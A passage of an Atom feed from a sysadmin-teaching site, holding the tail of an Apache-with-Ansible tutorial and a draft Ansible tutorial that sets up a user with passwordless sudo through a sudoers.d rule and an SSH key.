    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;mode&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;0644&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;notify&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restart apache2&lt;/span&gt;

&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;file&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;src&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;/etc/apache2/sites-available/example.com.conf&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;dest&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;/etc/apache2/sites-enabled/example.com.conf&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;owner&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;root&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;root&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;link&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;notify&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restart apache2&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;handlers-main-yml&quot;&gt;&lt;span id=&quot;handlersmainyml&quot;&gt;&lt;/span&gt;handlers/main.yml &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#handlers-main-yml&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restart apache2&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;systemd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;apache2&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restarted&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;files-example-com-conf&quot;&gt;&lt;span id=&quot;filesexamplecomconf&quot;&gt;&lt;/span&gt;files/example.com.conf &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#files-example-com-conf&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Managed file, changes will be overwritten

&amp;lt;VirtualHost *:80&amp;gt;
        ServerName example.com
        DocumentRoot /home/tero/publicsite/

        &amp;lt;Directory /home/tero/publicsite/&amp;gt;
                require all granted
        &amp;lt;/Directory&amp;gt;
&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Apache httpd logo is a trademark of The Apache Software Foundation.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Passwordless Sudo with Ansible</title>
    <link href="https://terokarvinen.com/passwordless-sudo-with-ansible/"/>
    <id>https://terokarvinen.com/passwordless-sudo-with-ansible/</id>
    <published>2026-04-02T16:44:00+03:00</published>
    <updated>2026-04-02T16:44:00+03:00</updated>
    <content type="html">&lt;p&gt;Sudo without password, automatically. Short example role for ansible.&lt;/p&gt;
&lt;p&gt;The role&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;creates a new user in &quot;sudoless&quot; group&lt;/li&gt;
&lt;li&gt;adds a sudoers.d/ NOPASSWD rule for the group&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#prerequisites&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Applying this example file requires you to have &lt;a href=&quot;https://terokarvinen.com/hello-ansible/&quot;&gt;Ansible working&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tero&#39;s rule #1 for IaC: &lt;em&gt;Manual before auto.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So it&#39;s a good idea to try creating &lt;a href=&quot;https://terokarvinen.com/passwordless-sudo/&quot;&gt;passwordless sudo manually&lt;/a&gt; first.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;tree&quot;&gt;Tree &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#tree&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;F&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;./&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── ansible.cfg&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── hosts.ini&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── roles/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   ├── antero/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   │   └── tasks/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   │       └── main.yml&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   └── world/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│       └── tasks/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│           └── main.yml&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;└── site.yml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;role-antero&quot;&gt;&lt;span id=&quot;role---antero&quot;&gt;&lt;/span&gt;Role - antero &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#role-antero&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;cat roles/antero/tasks/main.yml&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;sudoless&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;present&lt;/span&gt;
&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;user&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;antero&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;present&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;groups&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-meta hl-flow-sequence hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-sequence hl-begin hl-yaml&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;sudoless&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-sequence hl-yaml&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;sudo&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-sequence hl-yaml&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;adm&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-sequence hl-end hl-yaml&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;authorized_key&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;user&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;antero&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;key&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;ssh-ed25519 U2VlIHlvdSBhdCBUZXJvS2FydmluZW4uY29tIQ== tero@example.com&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;copy&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;dest&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;/etc/sudoers.d/sudoless&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;content&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;%sudoless ALL = (ALL) NOPASSWD: ALL&lt;span class=&quot;hl-constant hl-character hl-escape hl-double-quoted hl-yaml&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;owner&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;mode&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;0644&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;first-run-chicken-or-egg&quot;&gt;&lt;span id=&quot;first-run---chicken-or-egg&quot;&gt;&lt;/span&gt;First run - chicken or egg? &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#first-run-chicken-or-egg&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For the first run, you don&#39;t yet have sudo without password.&lt;/p&gt;
&lt;p&gt;Let&#39;s make ansible try for sudo rights. Add &quot;become: true&quot; in the correct block in site.yml:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;hosts&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;all&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;become&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-constant hl-language hl-boolean hl-yaml&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;roles&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;world&lt;/span&gt;
    &lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;antero&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now it should complain that sudo needs password. Ansible asks this with -K aka --ask-become-password.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;ask-become-password&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;tips&quot;&gt;Tips &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#tips&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you got it to work manually, you have your example. Copy it to automation!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Copy paste paths.&lt;/li&gt;
&lt;li&gt;Copy files or file contents.&lt;/li&gt;
&lt;li&gt;Use &#39;stat&#39; to check for modes (permissions). Do not guess octal permissions, you have to understand them to avoid privesc worries.&lt;/li&gt;
